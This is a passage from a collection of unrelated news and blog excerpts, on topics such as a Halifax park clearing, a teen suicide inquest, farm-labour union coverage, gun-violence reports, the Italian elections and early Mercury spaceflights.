functions to easen the burden of your task.
-A Halifax naturalist says he was "horrified" to discover at least eight hectares of protected park were levelled within the last week.  Martin Willison, a retired biology and environmental studies professor from Dalhousie University, believes a wood harvesting machine was used.  The area is just behind a strip of trees along Old Sambro Road, which runs right through the 2,095-hectare Long Lake Provincial Park.  "If I were to pick a flower here, technically speaking, I would be breaking the law. Yet somebody's come in and they've destroyed many acres of natural forest," said Willison.  He says the levelled area was dense with softwood and hardwood, primarily black spruce. He expects it will take about 10 to 20 years for the trees to grow back.  "It's utterly careless and it's really very distressing for somebody like me," said Willison. "The damage is devastating to owls and other birds that lost their habitat."  "Whoever did this, and whoever authorized it, has to get a very hard knock."  The MLA for the area, Brendan Maguire, says the investigation is looking at a private company that trespassed on park land.  Willison says better oversight and regulations are needed.  "It's a difficult thing to do, the province can't be watching absolutely everywhere — but this kind of thing shouldn't happen," he said.  The provincial Environment Department says conservation officers are investigating.
-The most interesting part in programming is creating stuff that to you seem like the most awesome stuff but to others seem like “yeah, cool” or “why did you spent your time building this useless thing?”. That might be the reason why many of our pet projects don’t get published/released (all creators denounce their creations). Our maybe that’s not the reason. Whatever.  On little tip I am using (that’s generally a good tip regardless of whether you release your new-born software to the public or not) is timing my projects. It sounds a little bit boring (it’s like when you were told to create a skeleton of your essay before you started writing it) but it has two main advantages :  Prevents feature-creepism Gives you satisfaction  Of course there are many more reasons to time your projects (check joel’s article here) ranging from “knowing your programming skills” to “know how much you can charge when you are freelancing” but from the perspective of programming junkies (“oh, I have a great idea! Let’s do it!”), they don’t have a great influence.  I time my pet projects just to be sure I stay on track (and not implementing a 3d engine when I’ve started creating a lisp module - believe me I’ve done it…) and because it gives me a nice approximation of whether this thing is really 30 minutes of work or 3 months. When you’ve done it some times, you become better and you have second thoughs about adding the twitter-clone in your text editor that would be VERY cool and at first it seemed like 1 hour of work but after you put your estimated time-frame you see it’s actually 5 months.  But in order for this thing to work, it has to be VERY simple (so you don’t spend 5 months implementing a better system for tracking projects). What I do? Here it goes :  Write on paper (or on your favorite editor) what must be done (with some time estimations). You can save your file in your directory of your project (I usually save it with the name .plan)  For example:  Create J2ME project (5 minutes)  Put the nodes (20 minutes)  Create prototype algorithm in Python (1 hour)  Port it to J2ME (1 hour)  Create Splash screen (30 minutes)  Git it (5 minutes)  Tell the world - twitter/facebook/blog/reddit (10 minutes)  You could say “5 minutes for creating a J2ME project?”. Ok, it could be 1 minute but if you put there the directory structure, some files and other stuff it could go up to 3. And these are rough estimates just so you can do your work easily and having fun and NOT trying to beat the clock! Don’t forget this is a pet project that has to be fun :D  and now for the second and final step :  2. Time your progress step-by-step ( ooooo babeeeeee ) and click them away from your .plan  Yeap, it’s easy!  So give it a go and tell me what you think of! I am heading to create an emacs plugin for this :D
-A coroner called for tighter controls on selling lethal drugs over the internet after hearing that Isobel Narayan, 16, came across the substance having searched online forums about suicide.  Nigel Meadows said he would be writing to the Chief Pharmaceutical officer to see if anything could be done to tighten regulations about access to harmful drugs.  He said policing the internet was "virtually impossible" but it was a "matter of public concern" that Isobel was able to get hold of the drug.  Isobel, the daughter of a barrister, was found dead by her parents at their home in Didsbury, Manchester, in December 2011.  An inquest heard that there was nothing to suggest she was unhappy but a police interrogation of her computer revealed she suffered "misplaced" and "unfathomable" feelings of low self-esteem and worthlessness.  She had ordered a drug online and in the months before her death had looked up forums giving guidance on assisted suicide for people with terminal illnesses, Manchester Coroner's Court heard.  Isobel wrote a document entitled: "Reasons why I should kill myself or why my life is not worth living", the hearing was told.  Her father, Harry Narayan, a barrister and crown court recorder in Manchester, told the inquest his youngest daughter, who had gained top marks at GCSE, was top of her year in physics and studying A-levels with the hope of studying to be a vet like her older sister, Freya.  A keen horse-rider she was also on the student council at Xaverian College in Manchester but was "so able", her studies did not really challenge her and she craved more homework to do.  There had been a "mini crisis of confidence" the month before she died, he said, but Bell, as he called her, returned to college a week later and got back into the rhythm of student life with everything appearing normal.  He said on the night before the tragedy Freya had gone out and he had waited up for her.  He said: "I stayed up waiting for Freya to come back in the early hours of the morning. At 1am, I heard Bell cleaning her teeth in the downstairs bathroom. I said, 'Are you all right'? Everything was normal."  The inquest heard that around noon, Mrs Nayaran went upstairs to rouse Isobel to see if she wanted a bacon brunch.  Mr Narayan added: "Anne went to ask her about a bacon butty and came back down and asked if I could go and see her. She was dead."  The parents raced up to her room where Isobel was lying on the top bunk of her bed, which has a desk underneath.  He added: "She was lying in her usual sleeping position right arm over her head. I felt her forehead and it was cold.  "I remember everything vividly. She had a bucket which I use when I clean the house, there was a bit of liquid in it. There was a Listerine bottle on her top bunk and there was a tumbler on the window sill that had some dried powder on it.  "She must've got the bucket some time after I heard her at 1am", she said.  Mr Narayan said he had spoken to his daughter about boys, pregnancy and bullying, but there was nothing in her life to suggest she was unhappy or worried.  Det Insp Kevin Marriott, from Greater Manchester Police (GMP) who investigated the death, said searches of her computer found she had made inquiries about obtaining the drug and around a month before her death a quantity was posted to her in two packages.  The hearing was told that Isobel had gone on forums and discussed “the use of the drugs and quantities and dosages and uses and guidance and sources of advice for those people wishing to harm themselves".  There was also a pamphlet available online designed for those with terminal illnesses who want to end their lives.  Det Insp Marriott said that while Isobel had low esteem, the “self-deprecating comments” she made in the document "Reasons why I should kill myself" were “totally misplaced”. He added: “It's unfathomable."  Ruling that the teenager killed herself, Mr Meadows, the Manchester coroner, said: “There were no indications that she was even contemplating taking her own life. There's no clue or indication that anything was untoward whatsoever."  He said it was "inevitable" in such cases loved ones will ask themselves if they could have noticed something wrong, but said there was nothing Isobel’s family should reproach themselves for.  He said: "It's a strange time of life for teenagers. There's hormones raging, there's pressures."
-An op-ed in The Wall Street Journal by editorial writer Allysia Finley downplayed a labor judge's findings of employer misconduct to accuse California's Agricultural Labor Relations Board of teaming up with the United Farm Workers to "shake down workers" by throwing out the ballots of a decertification vote. Finley ignored several unlawful actions by the employer, Gerawan Farming, claiming that the misconduct "amounted mainly to a 'well-timed' raise."  WSJ's Finley Downplays Legal Violations By Employer  WSJ's Finley: Employer Interference "Amounted Mainly To A 'Well-Timed' Raise." In an October 2 op-ed, editorial writer Allysia Finley wrote about a recent ruling from California's Agricultural Labor Relations Board (ALRB) Administrative Law judge Mark Soble disqualifying an election to end a United Farm Workers union at Gerawan Farming. Finley describes the ruling as the ALRB teaming up with the UFW to "shake down workers" and glosses over the illegal acts of the employer (emphasis added):  In the tradition of the Obama administration's pro-union shenanigans with the National Labor Relations Board, California's Agricultural Labor Relations Board (ALRB) has teamed up with the United Farm Workers union to shake down workers at the state's largest tree-fruit grower. Gerawan Farming, a third-generation family farm in Fresno, is trying to fend off the attack. On Sept. 17, ALRB administrative-law judge Mark Soble issued a long-awaited decision on whether to count the Gerawan workers' ballots cast in 2013 to decertify the UFW. Given the ALRB's pro-union bias, Mr. Soble's decision to throw out the ballots, disenfranchising thousands of workers, wasn't surprising. Unlike other California agencies, the ALRB employs in-house administrative-law judges to arbitrate complaints. Still, both management and workers at Gerawan Farming were disappointed. [...] During the summer of 2013, Gerawan workers began collecting signatures to hold a referendum to decertify the union. [...] In September 2013, Gerawan workers submitted roughly 2,000 signatures, well above the 1,300 necessary to hold a referendum. About 2,500 were eligible to cast ballots. But Mr. Shawver claimed that 1,000 of the signatures couldn't be verified. Gerawan workers submitted 1,000 more signatures. Mr. Shawver then used the pretext of pending UFW complaints and illegal employer interference in signature-gathering to block an election. After Gerawan workers protested in Sacramento, the ALRB ordered a secret-ballot election in November 2013. Staffers from the labor board supervised the voting. Nevertheless, the UFW filed numerous complaints contesting the election and preventing a final ballot count. On Sept. 17, Mr. Soble discarded the ballots because of alleged employer interference with the collection of signatures, which he claimed "tainted the entire decertification process." This interference, according to Mr. Soble, amounted mainly to a "well-timed" raise granted to workers by Gerawan, undermining support for the union. [The Wall Street Journal, 10/2/15]  Judge Found The Employer Violated The Law In Numerous Ways During Decertification Campaign  LA Times: Employer Interfered With Distribution Of Campaign Literature. In a September 18 article, the Los Angeles Times reported the judge found that Gerawan Farming allowed anti-union campaigning, while barring the other side:  The judge, Mark Soble, found that Gerawan Farms unduly influenced the 2013 decertification effort by giving preferential treatment to workers organizing the campaign, including introducing them to a funding source. In addition, the judge found, Gerawan Farms allowed pro-decertification workers to distribute literature during the workday but prohibited pro-UFW workers from doing so. "Given that the unlawful conduct tainted the entire decertification process, any election results would not sufficiently reflect th unrestrained free expression of the bargaining-unit members," the judge said in the decision. [Los Angeles Times, 9/18/15]  Associated Press: Judge Found $20,000 Unlawfully Given To Decertification Effort, Workers Blocked To Gather Signatures. On September 18, AP reported that a Gerawan Farming employee working against the union was illegally given $20,000 to fight the union, and that farm workers were physically blocked from the worksite to collect signatures against the union:  The decision says a Gerawan employee, Silvia Lopez, unlawfully asked for and received $20,000 from a fruit growers association affiliated with Gerawan to fund the anti-union fight. It says that on one day, Lopez physically blocked workers from the farm to collect roughly 1,000 signatures calling for a vote to reject the UFW, and Gerawan unfairly granted Lopez time off work to lead the effort. Gerawan also made a "well-timed" wage increase to win the favor of workers, Administrative Law Judge Mark Soble said, citing evidence he considered to dismiss the petition that sought the vote. "The misconduct created an environment which would have made it impossible for true employee free choice when it came time to vote," Soble's ruling concludes. [Associated Press, 9/18/15]  Judge's Ruling Lists Multiple Violations From The Employer. Judge Mark Soble ruled after hearing testimony from over 100 witnesses. The judge found multiple instances of "unlawful assistance" from the employer in the decertification campaign:  By providing unlawful assistance to the decertification effort, Gerawan committed unfair labor practices under California Labor Code section 1153. This assistance included allowing work-time signature gathering and granting the petitioner a "virtual sabbatical" to run the decertification campaign. Gerawan also committed unfair labor practices by its enhanced efforts to directly solicit grievances and by making a "well-timed" unilateral wage increase. Petitioner Silvia Lopez solicited and received an unlawful twenty thousand dollars donation from the California Fresh Fruit Association, an association of agricultural employers of which Gerawan was a prominent dues-paying member. Her legal team, specifically attorney Joanna MacMillan, assisted in this transaction. There is powerful circumstantial evidence to suggest that the company knew about this donation beforehand. The Petitioner also violated the rights of other workers by blocking company entrances on September 30, 2013 as a means to collect approximately one thousand signatures from workers that day. Given the totality of these circumstances, and especially in tandem, the unlawful actions of the California Fresh Fruit League, Gerawan Farming, and Petitioner Silvia Lopez make it impossible to know if the signatures collected represent the workers' true sentiments. Similarly, the misconduct created an environment which would have made it impossible for true employee free choice when it came time to vote. As a result of the employer's unlawful support and assistance, I am setting aside the decertification election and dismissing the decertification petition. (Abatti Farms (1981) 7 ALRB No. 36, at page 15) Given that the unlawful conduct tainted the entire decertification process, any election results would not sufficiently reflect the unrestrained free expression of the bargaining unit members. [State Of California, Agricultural Labor Relations Board, September 2015]  CORRECTION: A previous version of this post mislabeled the United Farm Workers as the United Food Workers. Media Matters regrets the error.
-DURANGO, Colo. (AP) — Environmental groups trying to halt a proposed development near the Wolf Creek Ski Area have filed a federal lawsuit to halt the land swap that would allow construction.  The Durango Herald reports (http://bit.ly/1GJcAsB ) that a coalition of conservation groups filed a federal lawsuit Wednesday after the U.S. Forest Service gave the land swap the go-ahead in May. The suit argues that the federal environmental impact analysis was narrow in scope.  Forest officials, however, say the swap is their only recourse given legal parameters.  The swap would give developer Leavell-McCombs about 200 acres of Rio Grande National Forest land for a road connecting a highway to the proposed development. The federal government would get 178 acres of privately held land.  Environmental groups have opposed the land swap due to concerns about wildlife.  ———  Information from: Durango Herald, http://www.durangoherald.com
-In this year's 'Initial Quality Study' run by US market research institute J.D. Power, the Porsche 911 is rated highest among all nameplates in the overall study and takes top position in its segment for the fifth time in succession. The company's main production plant in Stuttgart-Zuffenhausen also comes first in the factory rankings in the Europe/Africa region. In its segment, the newest member of the model range, the Porsche Macan, also takes top spot. The survey was completed by over 80.000 private individuals, and included 245 models from 33 manufacturers.  "Thrilled customers are what drives us on," says Oliver Blume, Chairman of the Executive Board of Porsche AG. "All of our staff work with great dedication every day to provide our customers with the very special Porsche quality. It is the result of intensive work that is characterised at every stage and in every area by a love for the perfect sports car."  The Macan came top in the 'Premium Sporty SUV' segment  With its top place once again, the iconic 911 sports car takes first spot for the fifth time in a row in the 'Midsize Premium Sporty Car' segment. The US customers have thus been attesting since 2012 that this classic vehicle from Stuttgart-Zuffenhausen provides the highest quality. In addition, the Porsche 911 is the model with the least number of complaints of all vehicles taking part in the study. The Macan came top in the 'Compact Premium SUV' segment, thus repeating its success of last year, when it took part for the first time.  Based on the results of their study, the US market researchers also produced an assessment of the production sites. In the factory evaluation for Europe/Africa, the main Porsche plant in Stuttgart-Zuffenhausen, where as well as the 911 the Boxster and Cayman models are also produced, was ranked in first place.  Porsche judges its sports cars by data and KPIs  "Every Porsche is proof of our comprehensive quality standard," says Albrecht Reimold, Executive Board Member for Production and Logistics at Porsche AG. "Sportspeople judge themselves in competition by data and KPIs - and that's exactly how Porsche builds its sports cars too. Our employees are aware of this challenge, which is a joy and an incentive at the same."  About the study  In the 'Initial Quality Study' J.D. Power annually surveys new car customers 90 days after their vehicle has been supplied. In this year's 30th running of the study US new car drivers were surveyed between February and May 2016 on 233 criteria from a range of different categories. Properties and features that the owners are asked about include 'Driving experience' and 'Engine and transmission'.  More about the study: jdpower.com.  Consumption data  Boxster: Combined fuel consumption: 8,4 – 7,9 l/100 km; CO2 emissions: 195 – 183 g/km  Cayman: Combined fuel consumption: 8,4 – 7,9 l/100 km; CO2 emissions: 195 – 183 g/km
-North American anime distributor Viz Media announced on Thursday that it is partnering with Sentai Filmworks to stream the High School of the Dead television anime series dubbed and uncut on its Neon Alley service starting on Friday at 10:00 p.m. EDT. New episodes will then premiere on Fridays.  Madhouse's anime adapts Daisuke Satō and Shoji Sato's zombie horror manga that follows a group of students and a school nurse who try to survive a worldwide plague that has turned people into the living dead. Sentai Filmworks released the series on DVD and Blu-ray Disc in North America in June 2011. Yen Press is releasing the original manga in North America.  Neon Alley is also premiering Fate/Zero, Accel World, Lagrange - The Flower of Rin-ne season 2, Nura: Rise of the Yokai Clan Demon Capital, and Zetman on the service this weekend.
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-I went to Las Vegas on Tuesday, and while driving in from the airport, I saw a big neon billboard with a photograph of a young man. It read, “Wanted: Las Vegas Strip Shooting Suspect. Ammar Harris. Call 911 if you see him.” Harris is the 26-year-old ex-convict suspected of spraying gunfire into a Maserati on the Strip last week, resulting in a crash that killed three people.  Then, on Wednesday, the Las Vegas Review-Journal published a remarkable story about Harris, based in part on the last two years of his Twitter feed. Harris was a pimp, and proud of it, who posted photographs of stacks of bills—he claimed to be a millionaire—and guns, bragged about his pimping, brutalized women and relished his status as a criminal. He and his girlfriend, who was allegedly in the car during the shooting, are both being sought. But they have so far managed to elude capture.  Here is today’s grim sampling of gun violence.  A woman who picked up her two young grandsons from child care and was supposed to bring them home so one of them could open his birthday presents instead drove them to a neighboring town and shot and killed them and herself. The bodies of 47-year-old Debra Denison and her grandsons, 2-year-old Alton Perry and 6-month-old Ashton Perry, were found Tuesday night in a parked car in Preston, Conn. Family members said Denison, the boys’ maternal grandmother, had a history of mental health problems.  —Journal Gazette  A mother of four was shot dead Tuesday morning outside her West Philadelphia home in front of her young son. Jennifer Fitzpatrick, 37, was the victim of domestic violence perpetrated by a “jilted ex-boyfriend,” according to her father. “It’s like a nightmare to me,” he said, adding that he had also lost a son to gun violence. Police had a man in custody.  —Philly.com  A student at Coastal Carolina University in Conway, S.C., died after a shooting near the campus Wednesday. Anthony Darnell Liddell, 19, a sophomore from Bennettsville, died after the shooting around 7:20 p.m. Tuesday at a residence hall. The search continued Wednesday for the shooter.  —USA Today  A 17-year-old girl shot herself outside of Grady High School in Atlanta Wednesday morning, prompting the school to go into lockdown mode. The student entered the school clinic with what appeared to be a self-inflicted gunshot wound to her left thigh, and was transported to the hospital in stable condition. Atlanta Public Schools Superintendent Erroll Davis says the student was shot in the courtyard between the gym and the main building. It’s not clear whether the shooting was accidental or intentional.  —Atlanta Blackstar  Two people are injured and a suspect is in custody following a shooting in the parking lot of a Mormon temple in Columbus, Ohio, Tuesday afternoon. The shooting took place at about 4:45 p.m. Columbus police said they have a male suspect in custody. Both victims were hospitalized and are in critical but stable condition.  —NBC News  Two people were shot at a Stockton, Calif., home on Wednesday. Dwight Smith, 25, opened fire at a home just before 10 a.m. Neighbors believe the man was a tenant and shot his landlord and a second victim. The victims were able to speak with officers before being taken to an area hospital. The gunman is at large.  —KCRA  Jeffrey A. Hulett, 37, is suspected of luring a co-worker out of a Kansas City restaurant last night and shooting him in the back of the head, killing him. Police say Hulett went to the diner Tuesday night for the “sole purpose” of killing Lionel S. Hernandez, 47, a cook, whom Hulett said had “crossed the line.” Hulett did not reveal the specific reasons he was angry with Hernandez.  —Kansas City Star  Authorities say a taxi driver shot an Alexandria, Va., police officer Wednesday during a traffic stop for a minor offense. The officer suffered life threatening injuries and is in critical condition. The driver of the taxi was apprehended after a chase.  —WTVR  Grand Junction, Colo., police are investigating after a dispute between a man and his son left the son dead of gunshot wounds. Police say no one has been arrested and they are not looking for any suspects.  —9News  According to Slate’s gun-death tracker, an estimated 2,332 people have died as a result of gun violence in America since the Newtown massacre on December 14, 2012.
-A T-shirt company in Upstate New York is getting a boost thanks to the new "Spider-Man" movie.  Tom Holland wears a number of geeky shirts as Peter Parker in "Spider-Man: Homecoming," including one made by Crazy Dog T-Shirts in Rochester. It mocks math problems by showing a triangle with the instruction to "find X"; X is on the hypotenuse, circled in red with an arrow saying "I found it."  "We were trying to come up with funny takes for back to school," Crazy Dog T-Shirts CEO Bill Kingston told the Democrat & Chronicle.  Kingston said it was chosen by a costume designer for the Marvel film two years ago to fit the web-slinging hero's personality as a high school student. Since the "Spider-Man" reboot was released in theaters three weeks ago, Crazy Dog is seeing increased demand for the shirt through its website, crazydogtshirts.com, and on Amazon.  Costume designer Louise Frogley tells Racked that the shirts are meant to show Parker's intelligence and youth. The idea came from director Jon Watts, though she searched the internet herself for the right ones, and then sanded some down or washed them to appear more worn.  Other dorky shirts from SnorgTees and NeatoShop, worn by Holland in the movie, include jokes about science ("the physics is theoretical but the fun is real"), telekinesis ("if you believe in telekinesis, please raise my hand") and atoms ("I lost an electron" -- "are you positive?"). The latter also appeared in a pajama top worn by Pepper Potts (Gwyneth Paltrow) in "Iron Man 3"; Robert Downey Jr. plays a prominent role in the new Spider-Man film as Iron Man and Tony Stark.  "We just wanted them because they were silly," Frogley told Racked. "On the film it's like a throwaway thing, [but] actually it was very much thought about."  Kingston, whose company employs 40 people, told the D&C that he's not surprised.  "Our whole motto is we have that T-shirt that captures your personality perfectly," he told the newspaper.  Here it is-the t-shirt only a Math Geek could love worn by Peter Parker in @SpiderManMovie by @CrazyDogTShirts #ROC Hypotenuse anyone? pic.twitter.com/gwEuYs7UKc -- Mary Chao (@marychaostyle) July 26, 2017  While watching Spiderman: Homecoming, @Silvinonono noticed that Peter Parker and I have the same shirt [?] [?] [?] pic.twitter.com/llueKU78rv -- Osmara Vyassali (@Osmaralalala) July 10, 2017
-The main Democratic Party led by Mr Bersani and its smaller leftist allies were ahead with between 34.5 and 37 per cent, beating the 29 to 31 per cent for a coalition led by the scandal-tainted former prime minister Silvio Berlusconi .  Complicating efforts however were the results in the upper house Senate, showing the centre-Right bloc in the lead with 31.7 per cent, ahead of the centre left on 29 per cent. Mr Grillo's bloc had 25.1 per cent.  The poll showed the centre-left and Mr Berlusconi's alliance neck and neck in the Senate race in the key region of Lombardy, with the centre-left ahead in the regions of Sicily and Campania and Mr Berlusconi's bloc well ahead in Veneto.  A projection by the SkyTG24 news channel had previously said the left would manage to win a majority in both chambers of parliament, following fears that it would fail to snag a majority in the upper house Senate.  The newcomer Five Star Movement led by former-comedian-turned-activist Beppe Grillo, who has channelled growing disenchantment with traditional politicians and rising social discontent, was given around 20 per cent in the exit polls.  Polls closed at 3pm (2pm GMT) today, ending two days of voting in an election being closely watched by Italy's eurozone partners as well as international investors trying to decide if they consider the third-largest economy in the Eurozone a good bet.  European shares lost their earlier gains on Monday after a projection by Italian TV showed the centre-right party, led by former leader Mr Berlusconi, leading in elections for the Senate vote.  The pan-European FTSEurofirst 300 index, which had been up by around 0.5 percent before the RAI TV projection was published, trimmed those gains to leave the index up by 0.1 percent at 1,166.34 points by 1533 GMT.  Italy's benchmark FTSE MIB equity index also pared its earlier gains after RAI published its projection on how the Senate votes were proceeding.  "The market didn't want Berlusconi back in the driving seat and the polls are showing the centre-right is coming out a loser. It will be Bersani who decides whether he needs (centrist Prime Minister Mario) Monti or not," said a fund manager at a large Milan investment house.  A lacklustre turnout however reflected widespread frustration among voters fed up with austerity cuts and a grinding recession.  In the first day of voting on Sunday, turnout was 55 per cent - seven percentage points lower than at the same time in the last elections in 2008.  Outgoing prime minister Mario Monti was slated for fourth place according to the exit polls, with only around 10 percent of the vote.
-An outbreak of suspicious clown sightings reported across the country has spread to New Jersey, where the state police are warning — but not scaring — people.  Authorities say there have been at least four reports of clown sightings in New Jersey, just days after similar reports came out of Pennsylvania.  The state police took a lighthearted approach to the reports, providing tips to children who could be frightened easily and saying: "We know that there are a lot of good, hard-working clowns right here in Jersey."  "Heck, you might even work with one or two [wink]," state police said on Facebook. "Of course, it's probably their part-time job, unless you all work for a circus."  N.J.com reported four incidents — all of which occurred in Phillipsburg, just over the Delaware River from Pennsylvania — prompting police to attempt to reassure fearful residents.  "We don't need a society living in fear," Phillipsburg police Capt. Robert Stettner told NJ.com.  The publication reported the following incidents:  Three clowns allegedly came out of the woods and chased a child at 8 p.m. Sunday in Walters Park.  Someone was seen dressed as a clown on Hudson Street at about 5 p.m. on Monday.  A jester holding some kind of sword reportedly ran after a child on Shafer Avenue at 7:45 p.m. on Monday.  A dark-colored truck was seen driving down Mercer Street with multiple clowns hanging out the window at about 9:30 p.m. on Monday.  In Pennsylvania last week, state police in Huntington County filed a report stating a clown sighting is currently under investigation there. The incident involved "unknown actor(s) dressed as a clown." No threats were made, police said, and no description of the clown was provided.  Nonetheless, Pennsylvania State Police warned residents, "if you observe an individual dressed as a clown on your property or along county roadways you are encouraged to call State Police."  Police in New Jersey provided the following tips:  Talk to your kids.  Tell them who they can expect to come and get them in an emergency (family member or close friend).  When walking to school, there is strength in numbers — walk in a group.  Never get into a stranger's car.  Keep a safe distance from strangers asking for directions or help.  Tell your kids to yell, scream and kick if grabbed by a stranger.  Look around, stop looking for Pokemon — be aware of your surroundings.  If a stranger claims to be a cop but is not in uniform, kids should find a trusted adult.  The New Jersey reports are among a broader rash of odd clown sightings nationwide.  Reports of clowns trying to lure children into the woods were recently under investigation in Greenville, South Carolina. Other sightings have been reported in Georgia, Alabama, Kentucky and Maryland. However, authorities believe many of these reports are unsubstantiated, the Washington Post says.  Photo: N.J State Police
-An Oregon woman claims United Airlines kicked her family off a Portland-bound flight because of her teenage daughter who has autism.  Juliette Beegle, 15, was diagnosed with autism just before she turned three, her mother, Donna Beegle, told ABC News. While her daughter has a high IQ, Beegle said, she has a hard time communicating.  On Tuesday, Beegle said she, her husband, Juliette, and Juliette's brother boarded a layover flight in Houston on their way home to Portland.  Louisiana Dad Looks to Raise Autism Awareness With Blue Nail Polish  Woman With Cancer Kicked Off Alaska Airlines Flight Plans to Donate Her Family's Airfare  World Autism Awareness Day 2015: Why People Are Wearing Blue Today  The family ate dinner in Houston, Beegle said, but Juliette refused to eat. Beegle brought some snacks on board for her because "if her blood sugar lets go, she gets frustrated and antsy. We try to anticipate that and prevent that."  After boarding, Beegle said she asked the flight attendant if she had any hot meals.  "Juliette refuses room-temp food," Beegle said. "I had no real way to bring hot snacks in my bag."  The attendant told her they had a hot sandwich, but the sandwich arrived cold, Beegle said, and Juliette refused to eat it.  "I could see [Juliette] getting frustrated," Beegle said, adding that she asked the flight attendant to check on meals available for purchase in first class.  "I asked if I can purchase something hot for my daughter and [the first class flight attendant] said no" she said. "I called him back over and I said to him, 'Please, help us out here,'" but he again refused.  "He came back again and I said, 'I have a child with special needs, I need to get her something.' And he said, 'I can't do that,'" she explained. "I said, 'How about we wait for her to have a meltdown, she'll be crying and trying to scratch in frustration. I don't want her to get to that point.'"  The attendant then brought Juliette rice and jambalaya, Beegle said, and "she ate and she was fine."  About 25 minutes later, according to Beegle, an announcement over the loudspeaker said the plane was making an emergency landing because of a passenger with "a behavior issue."  Paramedics came on board and asked what was wrong when they found Juliette happily watching a video, Beegle said.  "The paramedic said this was an over-reactive flight attendant and started shaking his head, and said 'We have real work to do' and left," she said. "We were still baffled."  Police then came to their row, Beegle said.  "They see this little teenager sitting there watching a video and they asked if there was an issue, and I said, 'No.'"  When the officers started to leave, the captain stepped out of the cockpit and said something to them, Beegle said. They then asked her family to leave, she said.  "He said, 'The captain has asked us to ask you to step off the plane.'" Beegle said. "I said, 'She didn't do anything' ... But the captain said he's not comfortable flying on to Portland with [Juliette] on the plane."  "It just killed me for her to be treated that way," she said, adding that the passengers around her agreed that Juliette wasn't disrupting anyone. The police apologized, Beegle said.  "It was awful," she said. "It was completely uncalled for."  Another traveler, Jodi Smith, who was sitting three rows behind Juliette, said she heard the entire conversation with the first-class flight attendant.  "He was being totally ridiculous," Smith said.  "Then the medics came on, then the police ... They went right straight to Dr. Beegle. You could hear them saying their daughter was perceived as a threat," Smith told ABC News. "I stood up and said, 'Absolutely positively not.'  "This was just ridiculous... she was calm, she had done nothing," she said. "I've been on flights where kids have screamed for 4 hours and they've never diverted a flight.  "This was the epitome of discrimination," Smith said. "I have never in all my years of flying seen anything like this."  Beegle said Juliette has traveled often, saying her daughter has been to London, Paris and 22 states.  "We've never experienced anything like that," she said. "It was horrific."  Beegle said she filed complaints with the Federal Aviation Administration and United Airlines and received responses from both, agreeing to investigate. She said she is also planning to file a lawsuit against United.  Story continues
-Launch day started even earlier for Gene Kranz than for Alan Shepard. He left the hotel shortly after midnight, carpooling with MCC RETRO Carl Huss. Huss’ appearance and habits reminded many of his colleagues of a bear and, like a bear coming out hibernation, he was slow to wake up. Kranz enjoyed the early-morning silence and the searchlights in the distance assured him that the countdown was still running.  Everything was on schedule when he arrived. Kranz checked out communications on his and Kraft’s console. Kraft greeted him with his usual, “How’s it going, young man?” and Kranz responded with a thumbs-up. Then, Kraft was distracted by some issues with the worldwide data network and Kranz moved on.  Kranz described the moment when he heard Shepard had entered his spacecraft as “surreal.” This was the moment they had all waited for since signing up. Then, things started to go south. They sat through five delays and the weather started to foul up. Some of them had to wonder if they were going to face another scrubbed launch. Pencils tapped on desks and, during one delay, Kraft asked Kranz to get him a pint of milk from the lunch wagon to help calm his stomach. Shepard was even less patient and barked, “Why don’t you fix your little problem and light this candle?” And then the most astonishing routine came over the communications loop.  “My name? Jose Jimenez. Do you know what it really takes to be an astronaut?”  “No, Jose, tell me.”  “You should have courage and the right blood pressure and four legs.”  “Why four legs, Jose?”  “They were going to send a dog. But they decided that would be too cruel.”  Now who in the world would be playing a recording of comedian Bill Dana’s cowardly astronaut routine at a time like this? Kranz scrambled to find the cause. If it was coming from anywhere in this room, he was history. But, as it turned out, the launch pad crew were piping it into Shepard’s spacecraft in an attempt to get him to lighten up. It certainly added to the surreal feeling and got grins from a few people in Mission Control. Finally, the countdown resumed and reached zero at 9:34 am Eastern standard time.  Kranz was so excited that, when he left his station to go over to the Teletype machine, he forgot to remove his headset. The cord snagged a chair and knocked it over. He picked it up just as Shepard made his thirty-second report. The Freedom 7 reached an apogee of 116 miles and Shepard tested roll, pitch and yaw manuevers as planned. This assured the doctors whom Kranz considered too conservative that humans could function in space. Fifteen minutes after launch, Shepard splashed down and was soon aboard recovery ship USS Lake Champlain. During NASA’s early missions, only Public Relations chief Shorty Powers ever used the phrase “A-OK” during a mission and, years later, Kranz admitted that it was accurate if a little too Hollywood.  America was now in the manned space business and, in the wake of this victory, Kennedy set a new goal for NASA in a speech to Congress. “I believe that this nation should commit itself to achieving the goal, before this decade is out, of landing a man on the moon and returning him safely to the earth.” Many people in NASA thought the President was too ambitious. Gene Kranz could only think: “Well, let them get on with their great plans. I’m gonna put a man in orbit first.”  The second suborbital, Liberty Bell 7 manned by Gus Grissom, was nearly a carbon copy of Freedom 7, though the capsule sank and Grissom nearly drowned. The helicopter crews seemed more worried about retrieving the capsule than rescuing Grissom. Kranz growled to his console, “Forget the capsule, just get Gus.” Grissom barely made it out of there by grabbing a line from one of the helicopters. Then, the Russians forced NASA’s hand with another space spectacular. The next manned flight would be an orbital one.  Mercury-Atlas 5 was a successful orbital test featuring a chimp named Enos. By now, the astronauts were sick of the sight of chimps and the cadre of monkeynauts were retired after Enos’ flight.  Mercury-Atlas 6, named Friendship 7 by John Glenn, was originally slated for December 19, 1961. The Mission Control Center was beginning to relocate to Houston and, when the first delay came through, Kranz was just as happy to have the extra time to move his wife and three daughters across the country. The launch was set for January 27, 1962 and then scrubbed again due to a faulty tank bulkhead. The next date was February 14, and they were forced to scrub one more time due to weather. John Glenn was actually the coolest of the lot by this point, losing his temper only once when somebody suggested that he could get kicked off his flight for supporting his wife when she didn’t want to see the Vice President. Finally, they settled for February 20, 1962 for a launch date.  Kranz had watched enough Atlas rockets blow up to acknowledge that they were gambling with a man’s life this morning. Somebody broke one of the hatch bolts while John Glenn was being inserted into the spacecraft. Luckily, they had spares on hand and they were able to replace it with only a minor delay. Walt Williams kept one eye on the weather while they waited. When the hold was over, Williams started the poll of the controllers, spacecraft and test conductors. With each “Go,” the room became more electrified. Scott Carpenter called from the blockhouse, “Godspeed, John Glenn! Three seconds, two, one, zero!” As the Friendship 7 lifted off, Kranz jotted down some notes that included the time of liftoff in Greenwich time (14:14:39Z) and headed over to the Teletype machine to have the information sent to Bermuda.  Alan Shepard, in the CapCom position, relayed the “Go” for seven orbits. Though the flight plan only called for three, the extra orbits would give them some extra time if they couldn’t bring Friendship 7 down as planned. The signal from the spacecraft was relayed from Cape Canaveral to the station in Bermuda, and then on to the Canary Islands. An ex-Marine named Llewellyn was in charge at Canary Islands and stammered a bit as he asked Glenn for the spacecraft status. As 